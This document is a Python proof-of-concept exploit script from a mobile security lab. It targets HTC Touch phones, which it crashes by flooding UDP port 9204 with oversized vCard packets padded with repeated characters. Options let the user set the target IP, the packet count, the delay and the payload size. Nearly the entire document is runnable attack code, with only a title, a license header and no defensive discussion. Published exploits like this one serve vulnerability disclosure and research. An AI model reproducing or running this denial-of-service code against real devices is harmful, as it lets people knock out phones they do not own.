HTC Touch vCard over IP Denial of Service Exploit

                                                #! /usr/bin/env python
#
# Copyright (c) 2009 Mobile Security Lab www.mseclab.com
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal 
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 
# copies of the Software, and to permit persons to whom the Software is 
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
#

from socket import *
from sys import exit,argv
from time import *
import random
from optparse import OptionParser

# Global Variables
PORT = 9204
DEF_NUM_PACKETS = 10
DEF_VCARD_LEN = 1410
DEF_DELAY = 0.7
VCARD_HEADER = "BEGIN:VCARD\r\nVERSION:2.1\r\nN:"
VCARD_TRAILER = "\r\nEND:VCARD\r\n"
    
def main():
    # Local variables
    num_packets = DEF_NUM_PACKETS
    delay = DEF_DELAY
    
    print "\nMSL-2008-002 PoC for HTC Touch\nMobile Security Lab 2009\n"
    # Parsing options
    parser = OptionParser("usage: %prog [options] target_IP")
    parser.add_option("-s", "--silence", action="store_true", dest="silence", help="send silent vcards (32k)")
    parser.add_option("-c", "--count", type="int", help="specify vcard length", dest="count")
    parser.add_option("-d", "--delay", type="float", help="specify delay between packets", dest="delay")
    parser.add_option("-l", "--len", type="int", help="specify vcard length", dest="len")
    parser.add_option("-t", "--text", type="string", help="specify vcard body text", dest="text")
    
    # Parse input
    (options, args) = parser.parse_args()
    if len(args) != 1:
        parser.print_help()
        print ""
        exit(1)
        
    if options.count:
        num_packets = options.count
    
    if options.delay:
        delay = options.delay
        
    if options.silence:
        vcard_body = VCARD_HEADER+'A' *32722+VCARD_TRAILER
    elif options.len:
        vcard_body = VCARD_HEADER+'A' *options.len+VCARD_TRAILER
    elif options.text:
        vcard_body = VCARD_HEADER+options.text+VCARD_TRAILER
    else:
        vcard_body = VCARD_HEADER+'A' *DEF_VCARD_LEN+VCARD_TRAILER
        
    # Socket creation
    udp_sock = socket(AF_INET, SOCK_DGRAM)
    ADDR = (args[0],PORT)
    
    # Start sending packet
    counter = 1
    c_lap = 0
    total_data = 0
    print "Sending %d packets... to %s" % (num_packets,ADDR)
    start_time = time()
    start_lap = time()

    # Start sending packet
    while counter <= num_packets:
        len_sent = udp_sock.sendto(vcard_body,ADDR)
        if len_sent != len(vcard_body):
            print "Error sending packet n.%d" %counter
            break
    
        # Update Counter
        counter += 1
        c_lap += 1
        total_data += len_sent 
    
        # Sleep for letting the device parse vcards 
        sleep(delay)
        
        # Check number of packets in a second
        local_lap = time()
        if local_lap - start_lap >= 1:
            print "%0.2f packets/sec" % (c_lap/(local_lap - start_lap))
            start_lap = local_lap
            c_lap = 0
    
    stop_time = time() 
    stop_sec = stop_time - start_time
    
    # Display info
    print "Sent %d packets in %f seconds" % (num_packets, stop_sec)
    print "Start time: %s" %ctime(start_time)
    print "Stop time: %s" %ctime(stop_time)
    print "Payload Len = %d bytes" % len(vcard_body)
    print "Total Data sent = %d bytes (about %0.2f kB)" % (total_data, (float(total_data)/float(1024)))

#Global start
if __name__ == "__main__":
    main()